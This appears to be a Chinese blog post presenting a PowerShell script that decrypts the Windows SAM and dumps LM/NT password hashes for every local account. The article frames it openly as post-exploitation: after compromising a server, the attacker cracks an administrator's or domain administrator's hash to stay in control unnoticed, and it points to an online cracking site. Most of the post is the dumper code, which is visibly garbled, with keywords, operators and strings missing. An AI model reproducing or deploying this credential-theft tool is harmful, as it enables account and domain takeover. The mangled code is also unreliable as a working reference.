通过PowerShell获取Windows系统密码Hash

当你拿到了系统控制权之后如何才能更长的时间内控制已经拿到这台机器呢?作为白帽子,已经在对手防线上撕开一个口子,如果你需要进一步扩大战果,你首先需要做的就是潜伏下来,收集更多的信息便于你判断,便于有更大的收获。用什么方法才能有尽可能高的权限,同时能更有效的隐藏自己,是留webshell,留后门,种木马还是Rootkit?webshell,哪怕是一句话木马都很容易被管理员清除,放了木马,也容易被有经验的管理员查出,不管是早期自己创建进程,进程被干掉就完了,还是注入进程的木马,或者是以服务自启动的木马,哪怕是替换次要的系统服务自己启动的木马,隐蔽性都太差了。不管后门留的如何完美,木马免杀做的多好,最终还是做不到不留任何痕迹。

那什么方法才能达到目的,又不容易被发现呢?以管理员的身份来管理服务器不就行了么?不管管理员是用3389、pcanywhere、还是radmin管理服务器,获取他的密码,以他的身份进入系统不就得了,如果是域管理员密码,整个域都会在你的控制之下了。获取密码的方法除了网络嗅探,还可以获取密码Hash后通过彩虹表进行攻击,本文将会介绍通过PowerShell获取Windows系统密码Hash的方法,有何密码Hash就离拿到密码不远了。

首先介绍一下windows密码Hash:

早期SMB协议在网络上传输明文口令。后来出现"LAN Manager Challenge/Response"验证机制,简称LM,它是如此简单以至很容易被破解。微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。Windows加密过的密码口令,我们称之为hash(中文:哈希),Windows的系统密码hash默认情况下一般由两部分组成:第一部分是LM-hash,第二部分是NTLM-hash。

NTLM-Hash与LM-Hash算法相比,明文口令大小写敏感,但无法根据NTLM-Hash判断原始明文口令是否小于8字节,摆脱了魔术字符串"KGS!@#$%"。MD4是真正的单向哈希函数,穷举做为数据源出现的明文,难度较大。问题在于,微软一味强调NTLM-Hash的强度高,却避而不谈一个事实,为了保持向后兼容性,NTLM-Hash缺省总是与LM-Hash一起使用的。这意味着NTLM-Hash强调再高也是无助于安全的,相反潜在损害着安全性。增加NTLM-Hash后,首先利用LM-Hash的弱点穷举出原始明文口令的大小写不敏感版本,再利用NTLM-Hash修正出原始明文口令的大小写敏感版本。

Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值,例如:

Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::表示

用户名称为:Administrator

RID为:500

LM-HASH值为:C8825DB10F2590EAAAD3B435B51404EE

NT-HASH值为:683020925C5D8569C23AA724774CE6CC

如果你知道这个用户的hash密码了,拿着C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC去hash在线查询网站

http://www.objectif-securite.ch/en/ophcrack.php查一下很容易就能得到密码。

下面直接上代码,然后对代码简单做一个解释,最后演示一下执行效果。

 Get-WinPassHashes
{
<






    [CmdletBinding()]
     ()
 LoadApi
{
    $oldErrorAction = $global:ErrorActionPreference;
    $global:ErrorActionPreference = ;
    $test = [PowerDump.Native];
    $global:ErrorActionPreference = $oldErrorAction;
     ($test)
    {

        ;
     }

$code = 
using System;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Text;

namespace PowerDump
{
    public class Native
    {
    [DllImport(, CharSet = CharSet.Auto)]
     public static extern  RegOpenKeyEx(
         hKey,
         subKey,
         ulOptions,
         samDesired,
        out  hkResult);

    [DllImport(, EntryPoint = )]
    extern public static  RegEnumKeyEx(
         hkey,
         index,
        StringBuilder lpName,
        ref  lpcbName,
         reserved,
        StringBuilder lpClass,
        ref  lpcbClass,
        out long lpftLastWriteTime);

    [DllImport(, EntryPoint=, CallingConvention=CallingConvention.Winapi, SetLastError=true)]
    extern public static  RegQueryInfoKey(
         hkey,
        StringBuilder lpClass,
        ref  lpcbClass,
         lpReserved,
        out  lpcSubKeys,
        out  lpcbMaxSubKeyLen,
        out  lpcbMaxClassLen,
        out  lpcValues,
        out  lpcbMaxValueNameLen,
        out  lpcbMaxValueLen,
        out  lpcbSecurityDescriptor,
        IntPtr lpftLastWriteTime);

    [DllImport(, SetLastError=true)]
    public static extern  RegCloseKey(
         hKey);

        }
    } //  namespace PowerDump

    public class Shift {
        public static    Right( x,    count) {  x >> count; }
        public static uint  Right(uint x,   count) {  x >> count; }
        public static long  Right(long x,   count) {  x >> count; }
        public static ulong Right(ulong x,  count) {  x >> count; }
        public static     Left( x,    count) {  x << count; }
        public static uint   Left(uint x,   count) {  x << count; }
        public static long   Left(long x,   count) {  x << count; }
        public static ulong  Left(ulong x,  count) {  x << count; }
    }
'@

   $provider =  Microsoft.CSharp.CSharpCodeProvider
   $dllName = [PsObject].Assembly.Location
   $compilerParameters =  System.CodeDom.Compiler.CompilerParameters
   $assemblies = @(, $dllName)
   $compilerParameters.ReferencedAssemblies.AddRange($assemblies)
   $compilerParameters.GenerateInMemory = $true
   $compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code)
   ($compilerResults.Errors.Count  0) {
     $compilerResults.Errors |  {  (  $_.Line,$_.ErrorText) }
   }

}

$antpassword = [Text.Encoding]::ASCII.GetBytes();
$almpassword = [Text.Encoding]::ASCII.GetBytes();
$empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
$empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
$odd_parity = @(
  1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
  16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
  32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
  49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
  64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
  81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
  97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
  112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
  128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
  145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
  161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
  176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
  193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
  208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
  224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
  241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
);

 sid_to_key($sid)
{
    $s1 = @();
    $s1 += [char]($sid  0xFF);
    $s1 += [char]([Shift]::Right($sid,8)  0xFF);
    $s1 += [char]([Shift]::Right($sid,16)  0xFF);
    $s1 += [char]([Shift]::Right($sid,24)  0xFF);
    $s1 += $s1[0];
    $s1 += $s1[1];
    $s1 += $s1[2];
    $s2 = @();
    $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2];
    $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2];
     ,((str_to_key $s1),(str_to_key $s2));
}

 str_to_key($s)
{
    $key = @();
    $key += [Shift]::Right([]($s[0]), 1 );
    $key += [Shift]::Left( $([]($s[0])  0x01), 6)  [Shift]::Right([]($s[1]),2);
    $key += [Shift]::Left( $([]($s[1])  0x03), 5)  [Shift]::Right([]($s[2]),3);
    $key += [Shift]::Left( $([]($s[2])  0x07), 4)  [Shift]::Right([]($s[3]),4);
    $key += [Shift]::Left( $([]($s[3])  0x0F), 3)  [Shift]::Right([]($s[4]),5);
    $key += [Shift]::Left( $([]($s[4])  0x1F), 2)  [Shift]::Right([]($s[5]),6);
    $key += [Shift]::Left( $([]($s[5])  0x3F), 1)  [Shift]::Right([]($s[6]),7);
    $key += $([]($s[6])  0x7F);
    0..7 | %{
        $key[$_] = [Shift]::Left($key[$_], 1);
        $key[$_] = $odd_parity[$key[$_]];
        }
     ,$key;
}

 NewRC4([byte[]]$key)
{
      Object |
     NoteProperty key $key -PassThru |
     NoteProperty S $null -PassThru |
     ScriptMethod init {
         ( $this.S)
        {
            [byte[]]$this.S = 0..255;
            0..255 |  -begin{[long]$j=0;}{
                $j = ($j + $this.key[$($_  $this.key.Length)] + $this.S[$_])  $this.S.Length;
                $temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp;
                }
        }
    } -PassThru |
     ScriptMethod  {
        $data = $args[0];
        $this.init();
        $outbuf =  byte[] $($data.Length);
        $S2 = $this.S[0..$this.S.Length];
        0..$($data.Length-1) |  -begin{$i=0;$j=0;} {
            $i = ($i+1)  $S2.Length;
            $j = ($j + $S2[$i])  $S2.Length;
            $temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp;
            $a = $data[$_];
            $b = $S2[ $($S2[$i]+$S2[$j])  $S2.Length ];
            $outbuf[$_] = ($a -bxor $b);
        }
         ,$outbuf;
    } -PassThru
}

 des_encrypt([byte[]]$data, [byte[]]$key)
{
     ,(des_transform $data $key $true)
}

 des_decrypt([byte[]]$data, [byte[]]$key)
{
     ,(des_transform $data $key $false)
}

 des_transform([byte[]]$data, [byte[]]$key, $doEncrypt)
{
    $des =  Security.Cryptography.DESCryptoServiceProvider;
    $des.Mode = [Security.Cryptography.CipherMode]::ECB;
    $des.Padding = [Security.Cryptography.PaddingMode]::None;
    $des.Key = $key;
    $des.IV = $key;
    $transform = $null;
     ($doEncrypt) {$transform = $des.CreateEncryptor();}
    {$transform = $des.CreateDecryptor();}
    $result = $transform.TransformFinalBlock($data, 0, $data.Length);
     ,$result;
}

 Get-RegKeyClass([]$key, []$subkey)
{
     ($Key) {
         { $nKey = 0x80000000} 
         { $nKey = 0x80000001} 
         { $nKey = 0x80000002} 
          { $nKey = 0x80000003} 
         { $nKey = 0x80000005} 
         {
             
        }
    }
    $KEYQUERYVALUE = 0x1;
    $KEYREAD = 0x19;
    $KEYALLACCESS = 0x3F;
    $result = ;
    []$hkey=0
     ( [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey))
    {
        $classVal =  Text.Stringbuilder 1024
        []$len = 1024
         ( [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null,
            [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0))
        {
            $result = $classVal.ToString()
        }
        
        {
             ;
        }
        [PowerDump.Native]::RegCloseKey($hkey) | 
    }
    
    {
         ;
    }
     $result;
}

 Get-BootKey
{
    $s = []::Join(,$(,,, | %{Get-RegKeyClass  }));
    $b =  byte[] $($s.Length/2);
    0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)}
    $b2 =  byte[] 16;
    0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 |  -begin{$i=0;}{$b2[$i]=$b[$_];$i++}
     ,$b2;
}

 Get-HBootKey
{
    ([byte[]]$bootkey);
    $aqwerty = [Text.Encoding]::ASCII.GetBytes("");
    $anum = [Text.Encoding]::ASCII.GetBytes();
    $k =  HKLM:\SAM\SAM\Domains\Account;
     ( $k) { $null}
    [byte[]]$F = $k.GetValue();
     ( $F) { $null}
    $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum);
    $rc4 = NewRC4 $rc4key;
     ,($rc4.encrypt($F[0x80..0x9F]));
}

 Get-UserName([byte[]]$V)
{
     ( $V) { $null};
    $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;
    $len = [BitConverter]::ToInt32($V[0x10..0x13],0);
     [Text.Encoding]::Unicode.GetString($V, $offset, $len);
}

 Get-UserHashes($u, [byte[]]$hbootkey)
{
    [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null;
     ($u.HashOffset + 0x28  $u.V.Length)
    {
        $lm_hash_offset = $u.HashOffset + 4;
        $nt_hash_offset = $u.HashOffset + 8 + 0x10;
        $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)];
        $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
    }
     ($u.HashOffset + 0x14  $u.V.Length)
    {
        $nt_hash_offset = $u.HashOffset + 8;
        $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
    }
     ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey);
}

 DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey)
{
    [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt;

     ($enc_lm_hash)
    {
        $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;
    }


     ($enc_nt_hash)
    {
        $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword;
    }

     ,($lmhash,$nthash)
}

 DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr)
{
    $deskeys = sid_to_key $rid;
    $md5 = [Security.Cryptography.MD5]::Create();
    $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr);
    $rc4 = NewRC4 $rc4_key;
    $obfkey = $rc4.encrypt($enc_hash);
    $hash = (des_decrypt  $obfkey[0..7] $deskeys[0]) +
        (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]);
     ,$hash;
}

 Get-UserKeys
{
     HKLM:\SAM\SAM\Domains\Account\Users |
         {$_.PSChildName  } |
             AliasProperty KeyName PSChildName -PassThru |
             ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
             ScriptProperty V {[byte[]]($this.GetValue())} -PassThru |
             ScriptProperty UserName {Get-UserName($this.GetValue())} -PassThru |
             ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue()[0x9c..0x9f],0) + 0xCC} -PassThru
}

 DumpHashes
{
    LoadApi
    $bootkey = Get-BootKey;
    $hbootKey = Get-HBootKey $bootkey;
    Get-UserKeys | %{
        $hashes = Get-UserHashes $_ $hBootKey;
          ($_.UserName,$_.Rid,
            [BitConverter]::ToString($hashes[0]).Replace(,).ToLower(),
            [BitConverter]::ToString($hashes[1]).Replace(,).ToLower());
    }
}
DumpHashes
}

代码中定义的函数Get-WinPassHashes中定义了多个函数,在函数的最后调用DumpHashes作为入口函数。

运行效果如下所示

通过PowerShell获取Windows系统密码Hash_第1张图片

拿着hash速速破解密码去吧^_^

 
作者: 付海军
出处:http://blog.csdn.net/fuhj02
版权:本文版权归作者和csdn共有
转载:欢迎转载,为了保存作者的创作热情,请按要求【转载】,谢谢
要求:未经作者同意,必须保留此段声明;必须在文章中给出原文连接;否则必究法律责任
个人网站: http://www.fuhaijun.com/

你可能感兴趣的:(网络安全,PowerShell)